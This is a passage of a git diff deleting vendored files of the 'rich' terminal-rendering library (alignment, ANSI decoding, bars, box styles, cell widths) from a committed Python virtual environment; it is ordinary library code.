word fits within the remaining width for this line. - cell_offset += _cell_len(word) - else: - # Not enough space remaining for this word on the current line. - if word_length > width: - # The word doesn't fit on any line, so we can't simply - # place it on the next line... - if fold: - # Fold the word across multiple lines. - folded_word = chop_cells(word, width=width) - for last, line in loop_last(folded_word): - if start: - append(start) - if last: - cell_offset = _cell_len(line) - else: - start += len(line) - else: - # Folding isn't allowed, so crop the word. - if start: - append(start) - cell_offset = _cell_len(word) - elif cell_offset and start: - # The word doesn't fit within the remaining space on the current - # line, but it *can* fit on to the next (empty) line. - append(start) - cell_offset = _cell_len(word) - - return break_positions - - -if __name__ == "__main__": # pragma: no cover - from .console import Console - - console = Console(width=10) - console.print("12345 abcdefghijklmnopqrstuvwyxzABCDEFGHIJKLMNOPQRSTUVWXYZ 12345") - print(chop_cells("abcdefghijklmnopqrstuvwxyz", 10)) - - console = Console(width=20) - console.rule() - console.print("TextualはPythonの高速アプリケーション開発フレームワークです") - - console.rule() - console.print("アプリケーションは1670万色を使用でき") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/abc.py b/venv/Lib/site-packages/pip/_vendor/rich/abc.py deleted file mode 100644 index e6e498efabfab0dcf31cd7731f8f821cc423bc4f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/abc.py +++ /dev/null @@ -1,33 +0,0 @@ -from abc import ABC - - -class RichRenderable(ABC): - """An abstract base class for Rich renderables. - - Note that there is no need to extend this class, the intended use is to check if an - object supports the Rich renderable protocol. For example:: - - if isinstance(my_object, RichRenderable): - console.print(my_object) - - """ - - @classmethod - def __subclasshook__(cls, other: type) -> bool: - """Check if this class supports the rich render protocol.""" - return hasattr(other, "__rich_console__") or hasattr(other, "__rich__") - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.text import Text - - t = Text() - print(isinstance(Text, RichRenderable)) - print(isinstance(t, RichRenderable)) - - class Foo: - pass - - f = Foo() - print(isinstance(f, RichRenderable)) - print(isinstance("", RichRenderable)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/align.py b/venv/Lib/site-packages/pip/_vendor/rich/align.py deleted file mode 100644 index e65dc5ba256b2ac2085280037598c04fcb635cf0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/align.py +++ /dev/null @@ -1,306 +0,0 @@ -from itertools import chain -from typing import TYPE_CHECKING, Iterable, Optional, Literal - -from .constrain import Constrain -from .jupyter import JupyterMixin -from .measure import Measurement -from .segment import Segment -from .style import StyleType - -if TYPE_CHECKING: - from .console import Console, ConsoleOptions, RenderableType, RenderResult - -AlignMethod = Literal["left", "center", "right"] -VerticalAlignMethod = Literal["top", "middle", "bottom"] - - -class Align(JupyterMixin): - """Align a renderable by adding spaces if necessary. - - Args: - renderable (RenderableType): A console renderable. - align (AlignMethod): One of "left", "center", or "right"" - style (StyleType, optional): An optional style to apply to the background. - vertical (Optional[VerticalAlignMethod], optional): Optional vertical align, one of "top", "middle", or "bottom". Defaults to None. - pad (bool, optional): Pad the right with spaces. Defaults to True. - width (int, optional): Restrict contents to given width, or None to use default width. Defaults to None. - height (int, optional): Set height of align renderable, or None to fit to contents. Defaults to None. - - Raises: - ValueError: if ``align`` is not one of the expected values. - """ - - def __init__( - self, - renderable: "RenderableType", - align: AlignMethod = "left", - style: Optional[StyleType] = None, - *, - vertical: Optional[VerticalAlignMethod] = None, - pad: bool = True, - width: Optional[int] = None, - height: Optional[int] = None, - ) -> None: - if align not in ("left", "center", "right"): - raise ValueError( - f'invalid value for align, expected "left", "center", or "right" (not {align!r})' - ) - if vertical is not None and vertical not in ("top", "middle", "bottom"): - raise ValueError( - f'invalid value for vertical, expected "top", "middle", or "bottom" (not {vertical!r})' - ) - self.renderable = renderable - self.align = align - self.style = style - self.vertical = vertical - self.pad = pad - self.width = width - self.height = height - - def __repr__(self) -> str: - return f"Align({self.renderable!r}, {self.align!r})" - - @classmethod - def left( - cls, - renderable: "RenderableType", - style: Optional[StyleType] = None, - *, - vertical: Optional[VerticalAlignMethod] = None, - pad: bool = True, - width: Optional[int] = None, - height: Optional[int] = None, - ) -> "Align": - """Align a renderable to the left.""" - return cls( - renderable, - "left", - style=style, - vertical=vertical, - pad=pad, - width=width, - height=height, - ) - - @classmethod - def center( - cls, - renderable: "RenderableType", - style: Optional[StyleType] = None, - *, - vertical: Optional[VerticalAlignMethod] = None, - pad: bool = True, - width: Optional[int] = None, - height: Optional[int] = None, - ) -> "Align": - """Align a renderable to the center.""" - return cls( - renderable, - "center", - style=style, - vertical=vertical, - pad=pad, - width=width, - height=height, - ) - - @classmethod - def right( - cls, - renderable: "RenderableType", - style: Optional[StyleType] = None, - *, - vertical: Optional[VerticalAlignMethod] = None, - pad: bool = True, - width: Optional[int] = None, - height: Optional[int] = None, - ) -> "Align": - """Align a renderable to the right.""" - return cls( - renderable, - "right", - style=style, - vertical=vertical, - pad=pad, - width=width, - height=height, - ) - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - align = self.align - width = console.measure(self.renderable, options=options).maximum - rendered = console.render( - Constrain( - self.renderable, width if self.width is None else min(width, self.width) - ), - options.update(height=None), - ) - lines = list(Segment.split_lines(rendered)) - width, height = Segment.get_shape(lines) - lines = Segment.set_shape(lines, width, height) - new_line = Segment.line() - excess_space = options.max_width - width - style = console.get_style(self.style) if self.style is not None else None - - def generate_segments() -> Iterable[Segment]: - if excess_space <= 0: - # Exact fit - for line in lines: - yield from line - yield new_line - - elif align == "left": - # Pad on the right - pad = Segment(" " * excess_space, style) if self.pad else None - for line in lines: - yield from line - if pad: - yield pad - yield new_line - - elif align == "center": - # Pad left and right - left = excess_space // 2 - pad = Segment(" " * left, style) - pad_right = ( - Segment(" " * (excess_space - left), style) if self.pad else None - ) - for line in lines: - if left: - yield pad - yield from line - if pad_right: - yield pad_right - yield new_line - - elif align == "right": - # Padding on left - pad = Segment(" " * excess_space, style) - for line in lines: - yield pad - yield from line - yield new_line - - blank_line = ( - Segment(f"{' ' * (self.width or options.max_width)}\n", style) - if self.pad - else Segment("\n") - ) - - def blank_lines(count: int) -> Iterable[Segment]: - if count > 0: - for _ in range(count): - yield blank_line - - vertical_height = self.height or options.height - iter_segments: Iterable[Segment] - if self.vertical and vertical_height is not None: - if self.vertical == "top": - bottom_space = vertical_height - height - iter_segments = chain(generate_segments(), blank_lines(bottom_space)) - elif self.vertical == "middle": - top_space = (vertical_height - height) // 2 - bottom_space = vertical_height - top_space - height - iter_segments = chain( - blank_lines(top_space), - generate_segments(), - blank_lines(bottom_space), - ) - else: # self.vertical == "bottom": - top_space = vertical_height - height - iter_segments = chain(blank_lines(top_space), generate_segments()) - else: - iter_segments = generate_segments() - if self.style: - style = console.get_style(self.style) - iter_segments = Segment.apply_style(iter_segments, style) - yield from iter_segments - - def __rich_measure__( - self, console: "Console", options: "ConsoleOptions" - ) -> Measurement: - measurement = Measurement.get(console, options, self.renderable) - return measurement - - -class VerticalCenter(JupyterMixin): - """Vertically aligns a renderable. - - Warn: - This class is deprecated and may be removed in a future version. Use Align class with - `vertical="middle"`. - - Args: - renderable (RenderableType): A renderable object. - style (StyleType, optional): An optional style to apply to the background. Defaults to None. - """ - - def __init__( - self, - renderable: "RenderableType", - style: Optional[StyleType] = None, - ) -> None: - self.renderable = renderable - self.style = style - - def __repr__(self) -> str: - return f"VerticalCenter({self.renderable!r})" - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - style = console.get_style(self.style) if self.style is not None else None - lines = console.render_lines( - self.renderable, options.update(height=None), pad=False - ) - width, _height = Segment.get_shape(lines) - new_line = Segment.line() - height = options.height or options.size.height - top_space = (height - len(lines)) // 2 - bottom_space = height - top_space - len(lines) - blank_line = Segment(f"{' ' * width}", style) - - def blank_lines(count: int) -> Iterable[Segment]: - for _ in range(count): - yield blank_line - yield new_line - - if top_space > 0: - yield from blank_lines(top_space) - for line in lines: - yield from line - yield new_line - if bottom_space > 0: - yield from blank_lines(bottom_space) - - def __rich_measure__( - self, console: "Console", options: "ConsoleOptions" - ) -> Measurement: - measurement = Measurement.get(console, options, self.renderable) - return measurement - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.console import Console, Group - from pip._vendor.rich.highlighter import ReprHighlighter - from pip._vendor.rich.panel import Panel - - highlighter = ReprHighlighter() - console = Console() - - panel = Panel( - Group( - Align.left(highlighter("align='left'")), - Align.center(highlighter("align='center'")), - Align.right(highlighter("align='right'")), - ), - width=60, - style="on dark_blue", - title="Align", - ) - - console.print( - Align.center(panel, vertical="middle", style="on red", height=console.height) - ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/ansi.py b/venv/Lib/site-packages/pip/_vendor/rich/ansi.py deleted file mode 100644 index 7de86ce5043feeee4b6c28302cc1e72c2ad4cfe1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/ansi.py +++ /dev/null @@ -1,241 +0,0 @@ -import re -import sys -from contextlib import suppress -from typing import Iterable, NamedTuple, Optional - -from .color import Color -from .style import Style -from .text import Text - -re_ansi = re.compile( - r""" -(?:\x1b[0-?])| -(?:\x1b\](.*?)\x1b\\)| -(?:\x1b([(@-Z\\-_]|\[[0-?]*[ -/]*[@-~])) -""", - re.VERBOSE, -) - - -class _AnsiToken(NamedTuple): - """Result of ansi tokenized string.""" - - plain: str = "" - sgr: Optional[str] = "" - osc: Optional[str] = "" - - -def _ansi_tokenize(ansi_text: str) -> Iterable[_AnsiToken]: - """Tokenize a string in to plain text and ANSI codes. - - Args: - ansi_text (str): A String containing ANSI codes. - - Yields: - AnsiToken: A named tuple of (plain, sgr, osc) - """ - - position = 0 - sgr: Optional[str] - osc: Optional[str] - for match in re_ansi.finditer(ansi_text): - start, end = match.span(0) - osc, sgr = match.groups() - if start > position: - yield _AnsiToken(ansi_text[position:start]) - if sgr: - if sgr == "(": - position = end + 1 - continue - if sgr.endswith("m"): - yield _AnsiToken("", sgr[1:-1], osc) - else: - yield _AnsiToken("", sgr, osc) - position = end - if position < len(ansi_text): - yield _AnsiToken(ansi_text[position:]) - - -SGR_STYLE_MAP = { - 1: "bold", - 2: "dim", - 3: "italic", - 4: "underline", - 5: "blink", - 6: "blink2", - 7: "reverse", - 8: "conceal", - 9: "strike", - 21: "underline2", - 22: "not dim not bold", - 23: "not italic", - 24: "not underline", - 25: "not blink", - 26: "not blink2", - 27: "not reverse", - 28: "not conceal", - 29: "not strike", - 30: "color(0)", - 31: "color(1)", - 32: "color(2)", - 33: "color(3)", - 34: "color(4)", - 35: "color(5)", - 36: "color(6)", - 37: "color(7)", - 39: "default", - 40: "on color(0)", - 41: "on color(1)", - 42: "on color(2)", - 43: "on color(3)", - 44: "on color(4)", - 45: "on color(5)", - 46: "on color(6)", - 47: "on color(7)", - 49: "on default", - 51: "frame", - 52: "encircle", - 53: "overline", - 54: "not frame not encircle", - 55: "not overline", - 90: "color(8)", - 91: "color(9)", - 92: "color(10)", - 93: "color(11)", - 94: "color(12)", - 95: "color(13)", - 96: "color(14)", - 97: "color(15)", - 100: "on color(8)", - 101: "on color(9)", - 102: "on color(10)", - 103: "on color(11)", - 104: "on color(12)", - 105: "on color(13)", - 106: "on color(14)", - 107: "on color(15)", -} - - -class AnsiDecoder: - """Translate ANSI code in to styled Text.""" - - def __init__(self) -> None: - self.style = Style.null() - - def decode(self, terminal_text: str) -> Iterable[Text]: - """Decode ANSI codes in an iterable of lines. - - Args: - lines (Iterable[str]): An iterable of lines of terminal output. - - Yields: - Text: Marked up Text. - """ - for line in terminal_text.splitlines(): - yield self.decode_line(line) - - def decode_line(self, line: str) -> Text: - """Decode a line containing ansi codes. - - Args: - line (str): A line of terminal output. - - Returns: - Text: A Text instance marked up according to ansi codes. - """ - from_ansi = Color.from_ansi - from_rgb = Color.from_rgb - _Style = Style - text = Text() - append = text.append - line = line.rsplit("\r", 1)[-1] - for plain_text, sgr, osc in _ansi_tokenize(line): - if plain_text: - append(plain_text, self.style or None) - elif osc is not None: - if osc.startswith("8;"): - _params, semicolon, link = osc[2:].partition(";") - if semicolon: - self.style = self.style.update_link(link or None) - elif sgr is not None: - # Translate in to semi-colon separated codes - # Ignore invalid codes, because we want to be lenient - codes = [ - min(255, int(_code) if _code else 0) - for _code in sgr.split(";") - if _code.isdigit() or _code == "" - ] - iter_codes = iter(codes) - for code in iter_codes: - if code == 0: - # reset - self.style = _Style.null() - elif code in SGR_STYLE_MAP: - # styles - self.style += _Style.parse(SGR_STYLE_MAP[code]) - elif code == 38: - #  Foreground - with suppress(StopIteration): - color_type = next(iter_codes) - if color_type == 5: - self.style += _Style.from_color( - from_ansi(next(iter_codes)) - ) - elif color_type == 2: - self.style += _Style.from_color( - from_rgb( - next(iter_codes), - next(iter_codes), - next(iter_codes), - ) - ) - elif code == 48: - # Background - with suppress(StopIteration): - color_type = next(iter_codes) - if color_type == 5: - self.style += _Style.from_color( - None, from_ansi(next(iter_codes)) - ) - elif color_type == 2: - self.style += _Style.from_color( - None, - from_rgb( - next(iter_codes), - next(iter_codes), - next(iter_codes), - ), - ) - - return text - - -if sys.platform != "win32" and __name__ == "__main__": # pragma: no cover - import io - import os - import pty - import sys - - decoder = AnsiDecoder() - - stdout = io.BytesIO() - - def read(fd: int) -> bytes: - data = os.read(fd, 1024) - stdout.write(data) - return data - - pty.spawn(sys.argv[1:], read) - - from .console import Console - - console = Console(record=True) - - stdout_result = stdout.getvalue().decode("utf-8") - print(stdout_result) - - for line in decoder.decode(stdout_result): - console.print(line) - - console.save_html("stdout.html") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/bar.py b/venv/Lib/site-packages/pip/_vendor/rich/bar.py deleted file mode 100644 index 022284b57881d8b133aced5b5a843e6447bb4e0b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/bar.py +++ /dev/null @@ -1,93 +0,0 @@ -from typing import Optional, Union - -from .color import Color -from .console import Console, ConsoleOptions, RenderResult -from .jupyter import JupyterMixin -from .measure import Measurement -from .segment import Segment -from .style import Style - -# There are left-aligned characters for 1/8 to 7/8, but -# the right-aligned characters exist only for 1/8 and 4/8. -BEGIN_BLOCK_ELEMENTS = ["█", "█", "█", "▐", "▐", "▐", "▕", "▕"] -END_BLOCK_ELEMENTS = [" ", "▏", "▎", "▍", "▌", "▋", "▊", "▉"] -FULL_BLOCK = "█" - - -class Bar(JupyterMixin): - """Renders a solid block bar. - - Args: - size (float): Value for the end of the bar. - begin (float): Begin point (between 0 and size, inclusive). - end (float): End point (between 0 and size, inclusive). - width (int, optional): Width of the bar, or ``None`` for maximum width. Defaults to None. - color (Union[Color, str], optional): Color of the bar. Defaults to "default". - bgcolor (Union[Color, str], optional): Color of bar background. Defaults to "default". - """ - - def __init__( - self, - size: float, - begin: float, - end: float, - *, - width: Optional[int] = None, - color: Union[Color, str] = "default", - bgcolor: Union[Color, str] = "default", - ): - self.size = size - self.begin = max(begin, 0) - self.end = min(end, size) - self.width = width - self.style = Style(color=color, bgcolor=bgcolor) - - def __repr__(self) -> str: - return f"Bar({self.size}, {self.begin}, {self.end})" - - def __rich_console__( - self, console: Console, options: ConsoleOptions - ) -> RenderResult: - width = min( - self.width if self.width is not None else options.max_width, - options.max_width, - ) - - if self.begin >= self.end: - yield Segment(" " * width, self.style) - yield Segment.line() - return - - prefix_complete_eights = int(width * 8 * self.begin / self.size) - prefix_bar_count = prefix_complete_eights // 8 - prefix_eights_count = prefix_complete_eights % 8 - - body_complete_eights = int(width * 8 * self.end / self.size) - body_bar_count = body_complete_eights // 8 - body_eights_count = body_complete_eights % 8 - - # When start and end fall into the same cell, we ideally should render - # a symbol that's "center-aligned", but there is no good symbol in Unicode. - # In this case, we fall back to right-aligned block symbol for simplicity. - - prefix = " " * prefix_bar_count - if prefix_eights_count: - prefix += BEGIN_BLOCK_ELEMENTS[prefix_eights_count] - - body = FULL_BLOCK * body_bar_count - if body_eights_count: - body += END_BLOCK_ELEMENTS[body_eights_count] - - suffix = " " * (width - len(body)) - - yield Segment(prefix + body[len(prefix) :] + suffix, self.style) - yield Segment.line() - - def __rich_measure__( - self, console: Console, options: ConsoleOptions - ) -> Measurement: - return ( - Measurement(self.width, self.width) - if self.width is not None - else Measurement(4, options.max_width) - ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/box.py b/venv/Lib/site-packages/pip/_vendor/rich/box.py deleted file mode 100644 index 3f330ccb57bc45f4dd788f1114a727afe1cdaa36..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/box.py +++ /dev/null @@ -1,474 +0,0 @@ -from typing import TYPE_CHECKING, Iterable, List, Literal - - -from ._loop import loop_last - -if TYPE_CHECKING: - from pip._vendor.rich.console import ConsoleOptions - - -class Box: - """Defines characters to render boxes. - - ┌─┬┐ top - │ ││ head - ├─┼┤ head_row - │ ││ mid - ├─┼┤ row - ├─┼┤ foot_row - │ ││ foot - └─┴┘ bottom - - Args: - box (str): Characters making up box. - ascii (bool, optional): True if this box uses ascii characters only. Default is False. - """ - - def __init__(self, box: str, *, ascii: bool = False) -> None: - self._box = box - self.ascii = ascii - line1, line2, line3, line4, line5, line6, line7, line8 = box.splitlines() - # top - self.top_left, self.top, self.top_divider, self.top_right = iter(line1) - # head - self.head_left, _, self.head_vertical, self.head_right = iter(line2) - # head_row - ( - self.head_row_left, - self.head_row_horizontal, - self.head_row_cross, - self.head_row_right, - ) = iter(line3) - - # mid - self.mid_left, _, self.mid_vertical, self.mid_right = iter(line4) - # row - self.row_left, self.row_horizontal, self.row_cross, self.row_right = iter(line5) - # foot_row - ( - self.foot_row_left, - self.foot_row_horizontal, - self.foot_row_cross, - self.foot_row_right, - ) = iter(line6) - # foot - self.foot_left, _, self.foot_vertical, self.foot_right = iter(line7) - # bottom - self.bottom_left, self.bottom, self.bottom_divider, self.bottom_right = iter( - line8 - ) - - def __repr__(self) -> str: - return "Box(...)" - - def __str__(self) -> str: - return self._box - - def substitute(self, options: "ConsoleOptions", safe: bool = True) -> "Box": - """Substitute this box for another if it won't render due to platform issues. - - Args: - options (ConsoleOptions): Console options used in rendering. - safe (bool, optional): Substitute this for another Box if there are known problems - displaying on the platform (currently only relevant on Windows). Default is True. - - Returns: - Box: A different Box or the same Box. - """ - box = self - if options.legacy_windows and safe: - box = LEGACY_WINDOWS_SUBSTITUTIONS.get(box, box) - if options.ascii_only and not box.ascii: - box = ASCII - return box - - def get_plain_headed_box(self) -> "Box": - """If this box uses special characters for the borders of the header, then - return the equivalent box that does not. - - Returns: - Box: The most similar Box that doesn't use header-specific box characters. - If the current Box already satisfies this criterion, then it's returned. - """ - return PLAIN_HEADED_SUBSTITUTIONS.get(self, self) - - def get_top(self, widths: Iterable[int]) -> str: - """Get the top of a simple box. - - Args: - widths (List[int]): Widths of columns. - - Returns: - str: A string of box characters. - """ - - parts: List[str] = [] - append = parts.append - append(self.top_left) - for last, width in loop_last(widths): - append(self.top * width) - if not last: - append(self.top_divider) - append(self.top_right) - return "".join(parts) - - def get_row( - self, - widths: Iterable[int], - level: Literal["head", "row", "foot", "mid"] = "row", - edge: bool = True, - ) -> str: - """Get the top of a simple box. - - Args: - width (List[int]): Widths of columns. - - Returns: - str: A string of box characters. - """ - if level == "head": - left = self.head_row_left - horizontal = self.head_row_horizontal - cross = self.head_row_cross - right = self.head_row_right - elif level == "row": - left = self.row_left - horizontal = self.row_horizontal - cross = self.row_cross - right = self.row_right - elif level == "mid": - left = self.mid_left - horizontal = " " - cross = self.mid_vertical - right = self.mid_right - elif level == "foot": - left = self.foot_row_left - horizontal = self.foot_row_horizontal - cross = self.foot_row_cross - right = self.foot_row_right - else: - raise ValueError("level must be 'head', 'row' or 'foot'") - - parts: List[str] = [] - append = parts.append - if edge: - append(left) - for last, width in loop_last(widths): - append(horizontal * width) - if not last: - append(cross) - if edge: - append(right) - return "".join(parts) - - def get_bottom(self, widths: Iterable[int]) -> str: - """Get the bottom of a simple box. - - Args: - widths (List[int]): Widths of columns. - - Returns: - str: A string of box characters. - """ - - parts: List[str] = [] - append = parts.append - append(self.bottom_left) - for last, width in loop_last(widths): - append(self.bottom * width) - if not last: - append(self.bottom_divider) - append(self.bottom_right) - return "".join(parts) - - -# fmt: off -ASCII: Box = Box( - "+--+\n" - "| ||\n" - "|-+|\n" - "| ||\n" - "|-+|\n" - "|-+|\n" - "| ||\n" - "+--+\n", - ascii=True, -) - -ASCII2: Box = Box( - "+-++\n" - "| ||\n" - "+-++\n" - "| ||\n" - "+-++\n" - "+-++\n" - "| ||\n" - "+-++\n", - ascii=True, -) - -ASCII_DOUBLE_HEAD: Box = Box( - "+-++\n" - "| ||\n" - "+=++\n" - "| ||\n" - "+-++\n" - "+-++\n" - "| ||\n" - "+-++\n", - ascii=True, -) - -SQUARE: Box = Box( - "┌─┬┐\n" - "│ ││\n" - "├─┼┤\n" - "│ ││\n" - "├─┼┤\n" - "├─┼┤\n" - "│ ││\n" - "└─┴┘\n" -) - -SQUARE_DOUBLE_HEAD: Box = Box( - "┌─┬┐\n" - "│ ││\n" - "╞═╪╡\n" - "│ ││\n" - "├─┼┤\n" - "├─┼┤\n" - "│ ││\n" - "└─┴┘\n" -) - -MINIMAL: Box = Box( - " ╷ \n" - " │ \n" - "╶─┼╴\n" - " │ \n" - "╶─┼╴\n" - "╶─┼╴\n" - " │ \n" - " ╵ \n" -) - - -MINIMAL_HEAVY_HEAD: Box = Box( - " ╷ \n" - " │ \n" - "╺━┿╸\n" - " │ \n" - "╶─┼╴\n" - "╶─┼╴\n" - " │ \n" - " ╵ \n" -) - -MINIMAL_DOUBLE_HEAD: Box = Box( - " ╷ \n" - " │ \n" - " ═╪ \n" - " │ \n" - " ─┼ \n" - " ─┼ \n" - " │ \n" - " ╵ \n" -) - - -SIMPLE: Box = Box( - " \n" - " \n" - " ── \n" - " \n" - " \n" - " ── \n" - " \n" - " \n" -) - -SIMPLE_HEAD: Box = Box( - " \n" - " \n" - " ── \n" - " \n" - " \n" - " \n" - " \n" - " \n" -) - - -SIMPLE_HEAVY: Box = Box( - " \n" - " \n" - " ━━ \n" - " \n" - " \n" - " ━━ \n" - " \n" - " \n" -) - - -HORIZONTALS: Box = Box( - " ── \n" - " \n" - " ── \n" - " \n" - " ── \n" - " ── \n" - " \n" - " ── \n" -) - -ROUNDED: Box = Box( - "╭─┬╮\n" - "│ ││\n" - "├─┼┤\n" - "│ ││\n" - "├─┼┤\n" - "├─┼┤\n" - "│ ││\n" - "╰─┴╯\n" -) - -HEAVY: Box = Box( - "┏━┳┓\n" - "┃ ┃┃\n" - "┣━╋┫\n" - "┃ ┃┃\n" - "┣━╋┫\n" - "┣━╋┫\n" - "┃ ┃┃\n" - "┗━┻┛\n" -) - -HEAVY_EDGE: Box = Box( - "┏━┯┓\n" - "┃ │┃\n" - "┠─┼┨\n" - "┃ │┃\n" - "┠─┼┨\n" - "┠─┼┨\n" - "┃ │┃\n" - "┗━┷┛\n" -) - -HEAVY_HEAD: Box = Box( - "┏━┳┓\n" - "┃ ┃┃\n" - "┡━╇┩\n" - "│ ││\n" - "├─┼┤\n" - "├─┼┤\n" - "│ ││\n" - "└─┴┘\n" -) - -DOUBLE: Box = Box( - "╔═╦╗\n" - "║ ║║\n" - "╠═╬╣\n" - "║ ║║\n" - "╠═╬╣\n" - "╠═╬╣\n" - "║ ║║\n" - "╚═╩╝\n" -) - -DOUBLE_EDGE: Box = Box( - "╔═╤╗\n" - "║ │║\n" - "╟─┼╢\n" - "║ │║\n" - "╟─┼╢\n" - "╟─┼╢\n" - "║ │║\n" - "╚═╧╝\n" -) - -MARKDOWN: Box = Box( - " \n" - "| ||\n" - "|-||\n" - "| ||\n" - "|-||\n" - "|-||\n" - "| ||\n" - " \n", - ascii=True, -) -# fmt: on - -# Map Boxes that don't render with raster fonts on to equivalent that do -LEGACY_WINDOWS_SUBSTITUTIONS = { - ROUNDED: SQUARE, - MINIMAL_HEAVY_HEAD: MINIMAL, - SIMPLE_HEAVY: SIMPLE, - HEAVY: SQUARE, - HEAVY_EDGE: SQUARE, - HEAVY_HEAD: SQUARE, -} - -# Map headed boxes to their headerless equivalents -PLAIN_HEADED_SUBSTITUTIONS = { - HEAVY_HEAD: SQUARE, - SQUARE_DOUBLE_HEAD: SQUARE, - MINIMAL_DOUBLE_HEAD: MINIMAL, - MINIMAL_HEAVY_HEAD: MINIMAL, - ASCII_DOUBLE_HEAD: ASCII2, -} - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.columns import Columns - from pip._vendor.rich.panel import Panel - - from . import box as box - from .console import Console - from .table import Table - from .text import Text - - console = Console(record=True) - - BOXES = [ - "ASCII", - "ASCII2", - "ASCII_DOUBLE_HEAD", - "SQUARE", - "SQUARE_DOUBLE_HEAD", - "MINIMAL", - "MINIMAL_HEAVY_HEAD", - "MINIMAL_DOUBLE_HEAD", - "SIMPLE", - "SIMPLE_HEAD", - "SIMPLE_HEAVY", - "HORIZONTALS", - "ROUNDED", - "HEAVY", - "HEAVY_EDGE", - "HEAVY_HEAD", - "DOUBLE", - "DOUBLE_EDGE", - "MARKDOWN", - ] - - console.print(Panel("[bold green]Box Constants", style="green"), justify="center") - console.print() - - columns = Columns(expand=True, padding=2) - for box_name in sorted(BOXES): - table = Table( - show_footer=True, style="dim", border_style="not dim", expand=True - ) - table.add_column("Header 1", "Footer 1") - table.add_column("Header 2", "Footer 2") - table.add_row("Cell", "Cell") - table.add_row("Cell", "Cell") - table.box = getattr(box, box_name) - table.title = Text(f"box.{box_name}", style="magenta") - columns.add_renderable(table) - console.print(columns) - - # console.save_svg("box.svg") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/cells.py b/venv/Lib/site-packages/pip/_vendor/rich/cells.py deleted file mode 100644 index a85462271c9a14f88fda9a3954f98e857fb5aac8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/cells.py +++ /dev/null @@ -1,174 +0,0 @@ -from __future__ import annotations - -from functools import lru_cache -from typing import Callable - -from ._cell_widths import CELL_WIDTHS - -# Ranges of unicode ordinals that produce a 1-cell wide character -# This is non-exhaustive, but covers most common Western characters -_SINGLE_CELL_UNICODE_RANGES: list[tuple[int, int]] = [ - (0x20, 0x7E), # Latin (excluding non-printable) - (0xA0, 0xAC), - (0xAE, 0x002FF), - (0x00370, 0x00482), # Greek / Cyrillic - (0x02500, 0x025FC), # Box drawing, box elements, geometric shapes - (0x02800, 0x028FF), # Braille -] - -# A set of characters that are a single cell wide -_SINGLE_CELLS = frozenset( - [ - character - for _start, _end in _SINGLE_CELL_UNICODE_RANGES - for character in map(chr, range(_start, _end + 1)) - ] -) - -# When called with a string this will return True if all -# characters are single-cell, otherwise False -_is_single_cell_widths: Callable[[str], bool] = _SINGLE_CELLS.issuperset - - -@lru_cache(4096) -def cached_cell_len(text: str) -> int: - """Get the number of cells required to display text. - - This method always caches, which may use up a lot of memory. It is recommended to use - `cell_len` over this method. - - Args: - text (str): Text to display. - - Returns: - int: Get the number of cells required to display text. - """ - if _is_single_cell_widths(text): - return len(text) - return sum(map(get_character_cell_size, text)) - - -def cell_len(text: str, _cell_len: Callable[[str], int] = cached_cell_len) -> int: - """Get the number of cells required to display text. - - Args: - text (str): Text to display. - - Returns: - int: Get the number of cells required to display text. - """ - if len(text) < 512: - return _cell_len(text) - if _is_single_cell_widths(text): - return len(text) - return sum(map(get_character_cell_size, text)) - - -@lru_cache(maxsize=4096) -def get_character_cell_size(character: str) -> int: - """Get the cell size of a character. - - Args: - character (str): A single character. - - Returns: - int: Number of cells (0, 1 or 2) occupied by that character. - """ - codepoint = ord(character) - _table = CELL_WIDTHS - lower_bound = 0 - upper_bound = len(_table) - 1 - index = (lower_bound + upper_bound) // 2 - while True: - start, end, width = _table[index] - if codepoint < start: - upper_bound = index - 1 - elif codepoint > end: - lower_bound = index + 1 - else: - return 0 if width == -1 else width - if upper_bound < lower_bound: - break - index = (lower_bound + upper_bound) // 2 - return 1 - - -def set_cell_size(text: str, total: int) -> str: - """Set the length of a string to fit within given number of cells.""" - - if _is_single_cell_widths(text): - size = len(text) - if size < total: - return text + " " * (total - size) - return text[:total] - - if total <= 0: - return "" - cell_size = cell_len(text) - if cell_size == total: - return text - if cell_size < total: - return text + " " * (total - cell_size) - - start = 0 - end = len(text) - - # Binary search until we find the right size - while True: - pos = (start + end) // 2 - before = text[: pos + 1] - before_len = cell_len(before) - if before_len == total + 1 and cell_len(before[-1]) == 2: - return before[:-1] + " " - if before_len == total: - return before - if before_len > total: - end = pos - else: - start = pos - - -def chop_cells( - text: str, - width: int, -) -> list[str]: - """Split text into lines such that each line fits within the available (cell) width. - - Args: - text: The text to fold such that it fits in the given width. - width: The width available (number of cells). - - Returns: - A list of strings such that each string in the list has cell width - less than or equal to the available width. - """ - _get_character_cell_size = get_character_cell_size - lines: list[list[str]] = [[]] - - append_new_line = lines.append - append_to_last_line = lines[-1].append - - total_width = 0 - - for character in text: - cell_width = _get_character_cell_size(character) - char_doesnt_fit = total_width + cell_width > width - - if char_doesnt_fit: - append_new_line([character]) - append_to_last_line = lines[-1].append - total_width = cell_width - else: - append_to_last_line(character) - total_width += cell_width - - return ["".join(line) for line in lines] - - -if __name__ == "__main__": # pragma: no cover - print(get_character_cell_size("😽")) - for line in chop_cells("""这是对亚洲语言支持的测试。面对模棱两可的想法,拒绝猜测的诱惑。""", 8): - print(line) - for n in range(80, 1, -1): - print(set_cell_size("""这是对亚洲语言支持的测试。面对模棱两可的想法,拒绝猜测的诱惑。""", n) + "|") - print("x" * n) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/color.py b/venv/Lib/site-packages/pip/_vendor/rich/color.py 